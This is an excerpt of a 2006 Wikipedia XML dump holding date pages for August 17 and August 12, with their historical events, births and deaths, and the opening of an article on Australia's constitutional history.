*[[1427]] - First band of gypsies visits Paris, according to an account of the [[citizen of Paris]]
*[[1807]] - [[Robert Fulton]]'s first American [[steamboat]] leaves [[New York City]] for [[Albany, New York]] on the [[Hudson River]], inaugurating the first commercial steamboat service in the world.
*[[1850]] - Argentine's War of Independence hero, General [[José de San Martín]], dies in Boulogne-sur-Mer (France), at the age of 77.
*[[1862]] - [[Indian Wars]]: [[Lakota]] (Sioux) uprising begins in [[Minnesota]] as desperate Lakota attack white settlements along the [[Minnesota River]]. They will be overwhelmed by the U.S. military six weeks later. 
*[[1863]] - [[American Civil War]]: In [[Charleston, South Carolina]], [[United States|Union]] batteries and ships bombard [[Confederate States of America|Confederate]]-held [[Fort Sumter]]. Bombardment will not end until [[December 31]], 1863.
*[[1864]] - American Civil War: Confederate forces defeated [[United States|Union]] troops at the [[Battle of Gainesville]]. 
*[[1877]] - [[Arizona]] blacksmith F.P. Cahill is fatally wounded by [[Billy the Kid]]. Cahill will die the next day, becoming the first person killed by the Kid.
*[[1883]] - [[Dominican Republic]]  the first public performance of the Dominican National Anthem, [[Quisqueyanos valientes]]
*[[1896]] - [[London]] - [[Bridget Driscoll]] becomes the first person in the world to die in an [[automobile]] accident after being struck by a car travelling about 4 MPH.
*[[1914]] - [[World War I]]: The [[Germany|German]] army of General [[Hermann von Francois]] defeats the [[Russia]]n force commanded by [[Pavel Rennenkampf]] at the [[Battle of Stalluponen]]. 
*[[1915]] - [[Jew]]ish American [[Leo Frank]] is [[lynching|lynched]] for the alleged murder of a 13-year-old girl in [[Atlanta, Georgia]]. 
*[[1918]] - [[Bolshevik]] revolutionary leader [[Moisei Uritsky]] is [[assassination|assassinated]].
*[[1943]] - [[World War II]]: The US 7th Army under General [[George S. Patton]] arrive in [[Messina, Italy]], followed several hours later by the British 8th Army under Field Marshal [[Bernard L. Montgomery]], thus completing the [[Allies|Allied]] conquest of [[Sicily]]. 
*[[1945]] - [[Indonesia]] proclaims itself independent from the [[Netherlands]].  
*[[1953]] - [[Addiction]]: First meeting of [[Narcotics Anonymous]] in Southern [[California]].
*[[1960]] - [[Gabon]] gains independence from [[France]]. 
*[[1962]] - [[East Germany|East German]] border guards kill 18-year-old [[Peter Fechter]] as he attempts to cross the [[Berlin Wall]] into West [[Berlin]]. He thus became the first victim of the wall. 
*[[1963]] - A ferry linking remote islands off the coast of [[Okinawa Prefecture|Okinawa]] sinks, killing 112.
*[[1969]] - Category 5 [[Hurricane Camille]] hits the [[Mississippi]] coast, killing 248 people and causing $1.5 billion in damage.  
*[[1970]] - [[Venera program]]: [[Venera 7]] is launched. It will later becomes the first spacecraft to successfully transmit data from the surface of another [[planet]], [[Venus (planet)|Venus]]. 
*[[1978]] - ''[[Double Eagle II]]'' becomes first [[balloon]] to cross the [[Atlantic Ocean]] when it lands in [[Miserey]] near [[Paris]], 137 hours after leaving [[Presque Isle, Maine]]. 
*[[1979]] - Two [[Soviet Union|Soviet]] [[Aeroflot]] jetliners collide in mid-air over [[Ukraine]], killing 156
*[[1980]] - [[Azaria_Chamberlain_disappearance|Azaria Chamberlain disappears]], likely taken by a [[dingo]], leading to what was then the most [[trial by media|publicised trial]] in [[Australian history]].
*[[1988]] - [[Pakistan]]i President [[Muhammad Zia-ul-Haq]] and US Ambassador [[Arnold Raphel]] are killed in a plane crash. 
*[[1989]] - Paul Murphy is born in Belfast 
*[[1991]] - Wade Frankum starts his killing spree in Strathfield, Australia, an event that was later dubbed the [[Strathfield Massacre]].
*[[1998]] - [[Monica Lewinsky scandal]]: [[US President]] [[Bill Clinton]] admits in taped testimony that he had an &quot;improper physical relationship&quot; with [[White House]] intern [[Monica Lewinsky]]. On the same day he admits before the nation that he &quot;misled people&quot; about his relationship.  
*[[1999]] - A 7.4-magnitude [[earthquake]] strikes [[1999 Izmit, Turkey Earthquake|Izmit, Turkey]], killing more than 17,000 and injuring 44,000. 
*[[2002]] - In [[Santa Rosa, California]], the [[Charles M. Schulz]] Museum opens to the public.
*[[2004]] - [[MD5]] collision found by [[China|Chinese]] researchers.
*2004 - The [[National Assembly of Serbia]] unanimously adopts new state symbols for [[Serbia]]: [[Boze Pravde]] becomes the new anthem and the [[Serbian coat of arms|coat of arms]] is adopted for the whole country.
*[[2005]] - The first forced [[evacuation]] of [[settlers]], as part of the [[Israel unilateral disengagement plan]], starts.

==Births==
*[[1473]] - [[Richard, Duke of York (Prince in the Tower)|Richard, Duke of York]], one of the [[Princes in the Tower]] (d. [[1483]]?)
*[[1562]] - [[Hans Leo Hassler]] (baptised), German composer (d. [[1612]])
*[[1578]] - [[Francesco Albani]], Italian painter (d. [[1660]])
*[[1601]] - [[Pierre de Fermat]], French mathematician (d. [[1665]])
*[[1629]] - King [[John III of Poland]] (d. [[1696]])
*[[1786]] - [[Davy Crockett]], frontiersman, soldier (d. [[1836]])
*[[1828]] - [[Jules Bernard Luys]], French neurologist (d. [[1897]])
*[[1844]] - Emperor [[Menelek II of Ethiopia]] (d. [[1913]])
*[[1866]] - [[Julia Marlowe]], nee Sarah Frost, Shakespearean actress (d. [[1950]])
*[[1882]] - [[Samuel Goldwyn]], Hollywood producer (d. [[1974]])
*[[1887]] - [[Marcus Garvey]], Jamaican leader, [[Rastafari movement|Rastafari]] prophet (d. [[1940]])
*1887 - Emperor [[Charles I of Austria]] (d. [[1922]])
*[[1893]] - [[Mae West]], American actress and playwright (d. [[1980]])
*[[1904]] - [[Leopold Nowak]], Austrian musicologist
*[[1911]] - [[Mikhail Botvinnik]], chess player (d. [[1995]])
*[[1913]] - [[W. Mark Felt]], [[FBI]] associate director and [[Deep Throat (Watergate)|Deep Throat]] [[Watergate]] informant
*1913 - [[Rudy York]], baseball player (d. [[1970]])
*[[1920]] - [[Maureen O'Hara]], actress
*[[1926]] - [[Jiang Zemin]], former [[President of the People's Republic of China]]
*[[1929]] - [[Francis Gary Powers]], U-2 pilot (d. [[1977]])
*[[1930]] - [[Glenn Corbett]], actor (d. [[1993]])
*1930 - [[Ted Hughes]], English poet (d. [[1998]])
*[[1932]] - [[V. S. Naipaul]], West Indian-born writer, [[Nobel Prize in Literature|Nobel Prize]] laureate
*[[1935]] - [[Oleg Tabakov]], Russian actor
*[[1939]] - [[Luther Allison]], blues musician, guitarist
*[[1943]] - [[Robert De Niro]], actor
*[[1948]] - [[Rod MacDonald]], musician
*[[1951]] - [[Alan Minter]],  boxer
*[[1952]] - [[Nelson Piquet]], Brazilian formula one driver
*1952 - [[Guillermo Vilas]], Argentinian tennis player
*[[1954]] - [[Eric Johnson]], guitarist
*[[1958]] - [[Belinda Carlisle]], singer and guitarist
*1958 - [[Kirk Stevens]], Canadian snooker player
*[[1959]] - [[David Koresh]], American cult leader (d. [[1993]])
*[[1960]] - [[Sean Penn]], actor, director
*[[1962]] - [[Gilby Clarke]], American musician [[Guns N' Roses]]
*[[1964]] - [[Colin James]], blues musician
*[[1966]] - [[Rodney Mullen]], American skateboarder
*1966 - [[William E. Dudley]], American poet
*[[1968]] - [[Ed McCaffrey]], American football player
*[[1969]] - [[Donnie Wahlberg]], American actor and singer
*[[1970]] - [[Jim Courier]], American tennis player
*[[1971]] - [[Jorge Posada]], Puerto Rican [[Major League Baseball]] player
*[[1977]] - [[Thierry Henry]], French footballer
*1977 - [[Tarja Turunen]], Finnish singer ([[Nightwish]])
*1977 - [[William Gallas]], French footballer
*[[1980]] - [[Lene Marlin]], Norwegian singer

==Deaths==
*[[1153]] - [[Eustace IV of Boulogne]], son of [[Stephen of England]]
*[[1304]] - [[Emperor Go-Fukakusa]] of Japan (b. [[1243]])
*[[1510]] - [[Edmund Dudley]], English statesman
*[[1657]] - [[Robert Blake (admiral)|Robert Blake]], British admiral (b. [[1599]])
*[[1676]] - [[Hans Jakob Christoph von Grimmelshausen]], German novelist
*[[1673]] - [[Regnier de Graaf]], Dutch physician and anatomist (b. [[1641]])
*[[1720]] - [[Anne Lefèvre]], French scholar (b. [[1654]])
*[[1723]] - [[Joseph Bingham]], English scholar (b. [[1668]])
*[[1768]] (N. S.) - [[Vasily Kirillovich Trediakovsky]], Russian poet (b. [[1703]])
*[[1785]] - [[Jonathan Trumbull]], Governor of the Colony and the state of Connecticut (b. [[1710]])
*[[1786]] - King [[Frederick II of Prussia]] (b. [[1712]])
*[[1834]] - [[Husein Gradaščević]], Bosniak rebel leader (b. [[1802]])
*[[1850]] - [[Don José de San Martín]], Argentine general (b. [[1778]])
*[[1875]] - [[Wilhelm Bleek]], linguist (b. [[1827]])
*[[1880]] - [[Ole Bull]], Norwegian violinist (b. [[1810]])
*[[1896]] - [[Bridget Driscoll]], world's first automobile fatality
*[[1901]] - [[Edmond Audran]], French composer (b. [[1842]])
*[[1925]] - [[Ioan Slavici]], Transylvanian writer of Romanian origin (b. [[1848]])
*[[1954]] - [[Billy Murray (singer)|Billy Murray]], recording artist (b. [[1877]])
*[[1969]] - [[Otto Stern]], German physicist, [[Nobel Prize]] laureate (b. [[1888]])
*[[1973]] - [[Jean Barraqué]], French composer (b. [[1928]])
*1973 - [[Paul Williams (The Temptations)|Paul Williams]], American singer ([[The Temptations]]) (b. [[1939]])
*1973 - [[Conrad Aiken]], American author (b. [[1889]])
*[[1979]] - [[Vivian Vance]], actress (b. [[1909]])
*[[1983]] - [[Ira Gershwin]], American lyricist (b. [[1896]])
*[[1987]] - [[Rudolf Hess]], Nazi deputy (b. [[1894]])
*[[1988]] - [[Muhammad Zia-ul-Haq]], [[President of Pakistan]] (b. [[1924]])
*[[1990]] - [[Pearl Bailey]], American singer and actress (b. [[1918]])
*[[1992]] - [[Al Parker]], actor (b. [[1952]])
*[[2004]] - [[Gérard Souzay]], French baritone (b. [[1918]])
*[[2005]] - [[John Bahcall]], astrophysicist (b. [[1934]])

== External links ==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/17 BBC: On This Day]

----

[[August 16]] - [[August 18]] - [[July 17]] - [[September 17]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:17 Augustus]]
[[ar:17 أغسطس]]
[[an:12 d'agosto]]
[[ast:17 d'agostu]]
[[bg:17 август]]
[[be:17 жніўня]]
[[bs:17. avgust]]
[[ca:17 d'agost]]
[[cs:17. srpen]]
[[cy:17 Awst]]
[[da:17. august]]
[[de:17. August]]
[[et:17. august]]
[[el:17 Αυγούστου]]
[[es:17 de agosto]]
[[eo:17-a de aŭgusto]]
[[eu:Abuztuaren 17]]
[[fo:17. august]]
[[fr:17 août]]
[[fy:17 augustus]]
[[ga:17 Lúnasa]]
[[gl:17 de agosto]]
[[ko:8월 17일]]
[[hr:17. kolovoza]]
[[io:17 di agosto]]
[[id:17 Agustus]]
[[ia:17 de augusto]]
[[ie:17 august]]
[[is:17. ágúst]]
[[it:17 agosto]]
[[he:17 באוגוסט]]
[[jv:17 Agustus]]
[[ka:17 აგვისტო]]
[[csb:17 zélnika]]
[[ku:17'ê gelawêjê]]
[[lt:Rugpjūčio 17]]
[[lb:17. August]]
[[hu:Augusztus 17]]
[[mk:17 август]]
[[nl:17 augustus]]
[[ja:8月17日]]
[[no:17. august]]
[[nn:17. august]]
[[oc:17 d'agost]]
[[pl:17 sierpnia]]
[[pt:17 de Agosto]]
[[ro:17 august]]
[[ru:17 августа]]
[[scn:17 di austu]]
[[simple:August 17]]
[[sk:17. august]]
[[sl:17. avgust]]
[[sr:17. август]]
[[fi:17. elokuuta]]
[[sv:17 augusti]]
[[tl:Agosto 17]]
[[tt:17. August]]
[[te:ఆగష్టు 17]]
[[th:17 สิงหาคม]]
[[tr:17 Ağustos]]
[[uk:17 серпня]]
[[wa:17 d' awousse]]
[[zh:8月17日]]</text>
    </revision>
  </page>
  <page>
    <title>August 12</title>
    <id>1491</id>
    <revision>
      <id>41775777</id>
      <timestamp>2006-03-01T17:43:41Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Deaths */ added birth year</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=12}}
|}
'''[[August 12]]''' is the 224th day of the year (225th in [[leap year]]s) in the [[Gregorian Calendar]].  There are 141 days remaining. It is the peak of the [[Perseids|Perseid meteor shower]]. It is also known as the &quot;[[Glorious Twelfth]]&quot; in the [[United Kingdom|UK]], as it marks the traditional start of the [[grouse]] shooting season.


==Events==
*[[490 BC]] - the [[Battle of Marathon]], in which [[Athens]] defeated an invasion army of [[Iran|Persians]], may have been fought on this date in the [[proleptic Julian calendar]] - but see [[12 September]].
* [[1099]] - The [[First Crusade]] concluded with a decisive victory in the [[Battle of Ascalon]] over [[Fatimid]] forces under [[Al-Afdal Shahanshah]].
* [[1121]] - The [[Georgia (country)|Georgian]] army under King [[David the Builder]] won a decisive victory over the famous [[Seljuk]] commander [[Ilghazi]] at the [[Battle of Didgori]].
*[[1323]] - [[Treaty of Nöteborg]] - [[Sweden]] and [[Novgorod]] ([[Russia]]) regulates the border for the first time
*[[1332]] - [[Battle of Dupplin Moor]] - Scots under the [[Donald Mormaer, 8th Earl of Mar|Earl of Mar]] routed by [[Edward Balliol]]
*[[1676]] - [[Praying Indian]] [[John Alderman]] shot and killed [[Metacomet]] the [[Wampanoag]] war chief, ending [[King Philip's War]].
*[[1851]] - [[Isaac Singer]] granted a patent for his [[sewing machine]]
*[[1854]] - Count [[Gaston de Raousset Boulbon]] is executed by shooting, in regard to the [[Battle of Guaymas]].
*[[1877]] - [[Asaph Hall]] discovers [[Deimos (moon)|Deimos]]
*[[1883]] - The last [[quagga]] dies at the [[Artis Magistra zoo]] in [[Amsterdam]]
*[[1898]] - Armistice ends the [[Spanish-American War]]
*1898 - The [[flag of Hawaii|Hawaiian flag]] is lowered from [[Iolani Palace]] in an elaborate annexation ceremony and replaced with the American flag to signify the transfer of sovereignty from the [[Republic of Hawaii]] to the [[United States]].
*[[1908]] - First [[Ford Model T|Model T]] [[Ford Motor Company|Ford]] built
*[[1914]] - [[World War I]] - Britain declares war on [[Austria-Hungary]]; British Empire countries automatically included.
*1914 - World War I: Beginning of the [[Battle of Cer]] between Austria-Hungary and [[Serbia]]
*[[1952]] - The [[Night of the Murdered Poets]] - Prominent Jewish intellectuals were murdered in Moscow. 
*[[1953]] - [[Nuclear testing]]: The [[Soviet atomic bomb project]] proceeded with the detonation of ''[[Joe 4]]'', the first [[Soviet Union|Soviet]] [[thermonuclear weapon]].
*[[1960]] - ''[[Echo satellite|Echo I]]'', the first [[communications satellite]], launched
*[[1966]] - [[Massacre of Braybrook Street]] as three policemen are shot dead in East Acton, London.
*[[1978]] - [[Japan]] and [[China]] sign the [[Treaty of Peace and Friendship between Japan and the People's Republic of China]].
*[[1985]] - [[Japan Airlines Flight 123]], a [[Boeing 747]] jumbo jet, crashes into Mount Ogura in [[Gunma Prefecture]] [[Japan]] killing 520 in the world's worst single-plane air disaster. Four people miraculously survive.
*[[1990]] - ''[[Sue]]'', the most complete [[skeleton]] of a ''[[Tyrannosaurus rex]]'', was discovered near [[Faith, South Dakota|Faith]], [[South Dakota]].
*[[1992]] - Canada, Mexico and the United States announce completion of negotiations for the [[North American Free Trade Agreement]]. 
*[[1994]] - The [[Woodstock '94]] rock concert takes place.
*1994 - [[Major League Baseball]] players go on strike. The work stoppage will force the cancellation of the [[World Series]].
*[[2000]] - The [[Oscar class submarine]] [[Russian submarine Kursk|K-141 ''Kursk'']] of the [[Russian Navy]] [[Russian submarine Kursk explosion|exploded and sank]] in the [[Barents Sea]] during a [[War exercise|military exercise]]. 
*[[2004]] - [[Sweden]]'s nine millionth inhabitant is born.
*2004 - [[Lee Hsien Loong]] is sworn in as [[Singapore]]'s 3rd [[Prime Minister]].
*[[2005]] - [[Sri Lanka]]'s foreign minister, [[Lakshman Kadirgamar]], is fatally shot by a sniper in his home.
*2005 - An F2 rated tornado strikes the coal mining town of [[Wright, Wyoming]], destroying nearly 100 homes and killing two people.
*2005 - [[2005 Maldives civil unrest|Civil unrest]] provoked in the [[Maldives]]
*2005 - An F-1 [[tornado]] strikes [[Glen Cove, New York]], a rare event on [[Long Island]]

==Births==
*[[1503]] - [[Christian III of Denmark and Norway]] (d. [[1559]])
*[[1566]] - [[Infanta Isabella Clara Eugenia of Spain]] (d. [[1633]])
*[[1604]] - [[Tokugawa Iemitsu]], Japanese shogun (d. [[1651]])
*[[1626]] - [[Giovanni Legrenzi]], Italian composer (d. [[1690]])
*[[1629]] - Tsar [[Alexei I of Russia]] (d. [[1676]])
*[[1643]] - King [[Afonso VI of Portugal]] (d. [[1683]])
*[[1644]] - [[Heinrich Ignaz Biber]], Bohemian composer (d. [[1704]])
*[[1647]] - [[Johann Heinrich Acker]], German writer (d. [[1719]])
*[[1686]] - [[John Balguy]], English philosopher (d. [[1748]])
*[[1696]] - [[Maurice Greene (composer)|Maurice Greene]], English composer (d. [[1755]])
*[[1720]] - [[Konrad Ekhof]], German actor (d. [[1778]])
*[[1762]] - King [[George IV of the United Kingdom]] (d. [[1830]])
*[[1774]] - [[Robert Southey]], English poet and biographer (d. [[1843]])
*[[1831]] - [[Helena Blavatsky]], Ukrainian-born author (d. [[1891]])
*[[1856]] - [[&quot;Diamond Jim&quot; Brady]], American financier (d. [[1917]])
*[[1859]] - [[Katharine Lee Bates]], American poet (d. [[1929]])
*[[1866]] - [[Jacinto Benavente]], Spanish writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1954]])
*[[1867]] - [[Edith Hamilton]], German classicist (d. [[1963]])
*[[1876]] - [[Mary Roberts Rinehart]], American author (d. [[1958]])
*[[1880]] - [[Radclyffe Hall]], British author (d. [[1943]])
*1880 - [[Christy Mathewson]], baseball player (d. [[1925]])
*[[1881]] - [[Cecil B. DeMille]], American director (d. [[1959]])
*[[1883]] - [[Pauline Frederick]], American actress (d. [[1938]])
*[[1885]] - [[Jean Cabannes]], French physicist (d. [[1959]])
*[[1886]] - Sir [[Keith Murdoch]], Australian journalist and newspaper owner (d. [[1952]])
*[[1887]] - [[Erwin Schrödinger]], Austrian physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1961]])
*[[1892]] - [[Alfred Lunt]], American actor (d. [[1977]])
*[[1902]] - [[Mohammad Hatta]], Vice President of Indonesia 1945-1956 (d. [[1980]])
*[[1904]] - [[Alexei Nikolaevich Romanov]], Tsarevich (d. [[1918]])
*[[1906]] - [[Harry Hopman]], Australian-born tennis player and coach (d. [[1985]])
*1906 - [[Tedd Pierce]], American animator (d. [[1972]])
*[[1907]] - [[Joe Besser]], American actor and comedian (d. [[1988]])
*[[1911]] - [[Cantinflas]], Mexican actor (d. [[1993]])
*1911 - [[Jane Wyatt]], American actress
*[[1919]] - [[Vikram Sarabhai]], Indian physicist (d. [[1971]])
*[[1924]] - [[Derek Shackleton]], English cricketer
*1924 - [[Muhammad Zia-ul-Haq]], leader of Pakistan (d. [[1988]])
*[[1925]] - [[Norris McWhirter]], Scottish co-founder of the ''Guinness Book of Records'' (d. [[2004]])
*1925 - [[Ross McWhirter]], Scottish co-founder of the ''Guinness Book of Records'' (d. [[1975]])
*[[1926]] - [[John Derek]], American actor (d. [[1998]])
*1926 - [[Joe Jones (R&amp;B singer)|Joe &quot;Boogaloo&quot; Jones]], American R&amp;B singer (d. [[2005]])
*[[1927]] - [[Mstislav Rostropovich]], Russian cellist and conductor
*1927 - [[Porter Wagoner]], American singer
*[[1928]] - [[Bob Buhl]], baseball player (d. [[2001]])
*1928 - [[Dan Curtis]], film and television producer and director
*1928 - [[Charles Blackman]], Australian artist
*[[1929]] - [[Buck Owens]], American singer
*[[1930]] - [[George Soros]] American businessman
*[[1931]] - [[William Goldman]], American screenwriter
*[[1932]] - [[Sirikit Rajini|Somdej Phra Nangchao Sirikit Phra Boromarajininat]] HM Queen Sirikit of Thailand
*[[1933]] - [[Parnelli Jones]], American race car driver
*[[1939]] - [[George Hamilton (actor)|George Hamilton]], American actor
*[[1943]] - [[Deborah Walley]], American actress (d. [[2001]])
*[[1945]] - [[Ann M. Martin]], American author
*[[1949]] - [[Mark Knopfler]], British guitarist
*[[1951]] - [[Willie Horton]], American murderer and rapist
*[[1954]] - [[Pat Metheny]], American guitarist
*1954 - [[Sam J. Jones]], American actor
*[[1956]] - [[Bruce Greenwood]], Canadian actor
*[[1962]] - [[Miss Cleo]], American psychic
*[[1965]] - [[Peter Krause]], American actor
*[[1967]] - [[Regilio Tuur]], Dutch boxer
*[[1971]] - [[Michael Ian Black]], American comedian
*1971 - [[Pete Sampras]], American tennis player
*[[1972]] - [[Rebecca Gayheart]], American actress
*[[1973]] - [[Richard Reid (terrorist)|Richard Reid]], English terrorist
*[[1974]] - [[Matt Clement]], baseball pitcher
*[[1976]] - [[Antoine Walker]], American basketball player
*[[1977]] - [[Plaxico Burress]], American football player
*1977 - [[Jesper Grønkjær]], Danish soccer player
*[[1980]] - [[Dominique Swain]], American actress
*1980 - [[Matt Thiessen]], Canadian-born singer ([[Reliant K]])
*[[1981]] - [[Djibril Cisse]], French footballer

==Deaths==
*[[30 BC]] - [[Cleopatra]] (b. [[69 BC]])
*[[875]] - [[Louis II Holy Roman Emperor]] (b. [[825]])
*[[1424]] - [[Yongle]], [[Emperor of China]] (b. [[1460]])
*[[1484]] - [[George of Trebizond]], Greek philosopher (b. [[1395]])
*1484 - [[Pope Sixtus IV]] (b. [[1414]])
*[[1512]] - [[Alessandro Achillini]], Italian philosopher (b. [[1463]])
*[[1577]] - [[Thomas Smith (diplomat)|Thomas Smith]], English diplomat and scholar (b. [[1513]])
*[[1588]] - [[Alfonso Ferrabosco (I)]], Italian composer (b. [[1543]])
*[[1612]] - [[Giovanni Gabrieli]], Italian composer
*[[1633]] - [[Jacopo Peri]], Italian composer (b. [[1561]])
*[[1648]] - [[Ibrahim I]], [[Ottoman Sultan]] (b. [[1615]])
*[[1674]] - [[Philippe de Champaigne]], French painter (b. [[1602]])
*[[1689]] - [[Pope Innocent XI]] (b. [[1611]])
*[[1778]] - [[Peregrine Bertie, 3rd Duke of Ancaster and Kesteven]], British general and politician (b. [[1714]])
*[[1810]] - [[Etienne Louis Geoffroy]], French pharmacist and entomologist (b. [[1725]])
*[[1848]] - [[George Stephenson]], British locomotive designer (b. [[1781]])
*[[1864]] - [[Sakuma Shozan|Sakuma Sh&amp;#333;zan]], Japanese reformer (b. [[1811]])
*[[1865]] - [[William Jackson Hooker]], English botanist (b. [[1785]])
*[[1891]] - [[James Russell Lowell]], American poet and essayist (b. [[1819]])
*[[1900]] - [[Wilhelm Steinitz]], Austrian chess player (b. [[1836]])
*[[1901]] - [[Adolf Erik Nordenskiöld]], Finnish-Swedish explorer (b. [[1832]])
*[[1914]] - [[John Philip Holland]], Irish submarine designer (b. [[1840]])
*[[1918]] - [[Anna Held]], Polish-born actress and singer (b. [[1872]])
*[[1922]] - [[Arthur Griffith]], [[President of Ireland]] (b. [[1871]])
*[[1928]] - [[Leos Janacek]], Czech composer (b. [[1854]])
*[[1934]] - [[Hendrik Petrus Berlage]], Dutch architect (b. [[1856]])
*[[1943]] - [[Bobby Peel]], English cricketer (b. [[1857]])
*[[1948]] - [[Harry Brearley]], English inventor (b. [[1871]])
*[[1955]] - [[Thomas Mann]], German writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1875]])
*1955 - [[James B. Sumner]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1887]])
*[[1964]] - [[Ian Fleming]], English novelist (b. [[1908]])
*[[1973]] - [[Walter Rudolf Hess]], Swiss physiologist, [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (b. [[1881]])
*[[1979]] - [[Ernst Boris Chain]], German-born biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1906]])
*[[1982]] - [[Henry Fonda]], American actor (b. [[1905]])
*1982 - [[Salvador Sanchez]], Mexican boxer (b. [[1959]])
*1982 - [[Varlam Shalamov]], Russian writer (b. [[1907]])
*1982 - [[Joe Tex]], American singer (b. [[1933]])
*[[1985]] - [[Kyu Sakamoto]], Japanese singer (plane crash) (b. [[1941]])
*1985 - [[Manfred Winkelhock]], German race car driver (b. [[1951]])
*[[1988]] - [[Bhakti Raksaka Sridhara Deva Gosvami Maharaja]], religious Guru from India (b. [[1895]])
*[[1989]] - [[William Shockley]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1910]])
*[[1992]] - [[John Cage]], American composer (b. [[1912]])
*[[1997]] - [[Luther Allison]], American musician (b. [[1939]])
*[[2000]] - [[Loretta Young]], American actress (b. [[1913]])
*[[2002]] - [[Enos Slaughter]], baseball player (b. [[1916]])
*[[2004]] - Sir [[Godfrey Hounsfield]], English electrical engineer and inventor, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1919]])
*2004 - [[Peter Woodthorpe]], British actor (b. [[1931]])
*[[2005]] - [[John Loder]], co founder of the anarcho punk band [[CRASS]] (b. [[1946]])

==Holidays and observations==
*[[International observance|United Nations]] - International Youth Day (since [[1999]])
*[[Glorious Twelfth]] at the [[Yorkshire Dales]]
*[[Thailand]] - The [[Sirikit Kitiyakara|Queen]]'s Birthday, [[Mother's Day]]
*Zaraday ([[Discordianism]])
*[[Zimbabwe]] - Defence Force Day
*International [[Ponce de Leon]] day

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/12 BBC: On This Day]

----

[[August 11]] - [[August 13]] - [[July 12]] - [[September 12]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:12 Augustus]]
[[an:12 d'agosto]]
[[ar:12 أغسطس]]
[[ast:12 d'agostu]]
[[be:12 жніўня]]
[[bg:12 август]]
[[bs:12. avgust]]
[[ca:12 d'agost]]
[[co:12 d'aostu]]
[[cs:12. srpen]]
[[csb:12 zélnika]]
[[cy:12 Awst]]
[[da:12. august]]
[[de:12. August]]
[[el:12 Αυγούστου]]
[[eo:12-a de aŭgusto]]
[[es:12 de agosto]]
[[et:12. august]]
[[eu:Abuztuaren 12]]
[[fi:12. elokuuta]]
[[fo:12. august]]
[[fr:12 août]]
[[fy:12 augustus]]
[[ga:12 Lúnasa]]
[[gl:12 de agosto]]
[[he:12 באוגוסט]]
[[hr:12. kolovoza]]
[[hu:Augusztus 12]]
[[ia:12 de augusto]]
[[id:12 Agustus]]
[[ie:12 august]]
[[io:12 di agosto]]
[[is:12. ágúst]]
[[it:12 agosto]]
[[ja:8月12日]]
[[jv:12 Agustus]]
[[ka:12 აგვისტო]]
[[ko:8월 12일]]
[[ku:12'ê gelawêjê]]
[[lb:12. August]]
[[lt:Rugpjūčio 12]]
[[mk:12 август]]
[[nl:12 augustus]]
[[nn:12. august]]
[[no:12. august]]
[[oc:12 d'agost]]
[[pl:12 sierpnia]]
[[pt:12 de Agosto]]
[[ro:12 august]]
[[ru:12 августа]]
[[scn:8 di austu]]
[[simple:August 12]]
[[sk:12. august]]
[[sl:12. avgust]]
[[sr:12. август]]
[[sv:12 augusti]]
[[te:ఆగష్టు 12]]
[[th:12 สิงหาคม]]
[[tl:Agosto 12]]
[[tr:12 Ağustos]]
[[tt:12. August]]
[[uk:12 серпня]]
[[wa:12 d' awousse]]
[[zh:8月12日]]</text>
    </revision>
  </page>
  <page>
    <title>Constitutional history of Australia</title>
    <id>1493</id>
    <revision>
      <id>36684083</id>
      <timestamp>2006-01-25T20:11:18Z</timestamp>
      <contributor>
        <username>GraemeL</username>
        <id>383311</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/204.196.155.1|204.196.155.1]] ([[User talk:204.196.155.1|talk]]) to last version by GraemeL</comment>
      <text xml:space="preserve">{{History_of_Australia/Chronological}}
==Emergence of the Commonwealth of Australia==
''Main article:'' [[Federation of Australia|Australian federation]]

After European settlement in 1788, [[Australia]] was politically organized as a number of separate British [[colonies]], eventually six in all. By the middle of the nineteenth century, these had achieved virtually complete internal self-government under their own colonial Parliaments, with the &quot;mother country&quot; looking after their defence and such foreign relations as they had, and making only the occasional more direct intervention in their affairs. (These arrangements were confirmed by the Colonial Laws Validity Act of 1865.) One result of this was that they each had their own laws, and applied customs duties at the borders between them, which was a significant impediment to Australia's overall economic development.

Following the formation of the [[Australasian Federal Council|Federal Council of Australasia]] in 1885 (a weak non-executive, non-legislative federation of Western Australia, Fiji, Queensland, Tasmania and Victoria) the movement for full Federation developed in the late nineteenth century, proposing that the six colonies join together as one federation of several States and territories (it was envisaged that New Zealand might join). In the 1890s, two [[Constitutional Convention (Australia)|constitutional conventions]] were called, which ultimately adopted a constitution based on a combination of British, American and other models (monarchy and parliamentary government from Britain, federalism from the United States, the use of the referendum from Switzerland). This constitution was then approved by the voters in each of the six colonies. (At the time women had the vote in only one of them: South Australia, and Aboriginal Australians in South Australia and Queensland only). It was then passed (with an amendment allowing for some appeals to the [[Judicial Committee of the Privy Council|Privy Council]] in London) as an Act of the British Parliament: the [[Constitution of Australia|Commonwealth of Australia Constitution Act]] 1900. The Act entered into force on [[January 1]] [[1901]], at which point the Commonwealth of Australia came into being.

==The Commonwealth is born==

The establishment of the Commonwealth of Australia is commonly taken as the date of Australia's independence from the [[United Kingdom]], but matters are more complicated than that. The Constitution provided the Commonwealth with all the powers associated with a sovereign state, including the power to engage in foreign affairs and to raise its own army. But the United Kingdom still retained the power to engage in foreign affairs on behalf of Australia, and to make laws for it. In the early years Australia continued to be represented by the United Kingdom as part of the British Empire at international conferences.

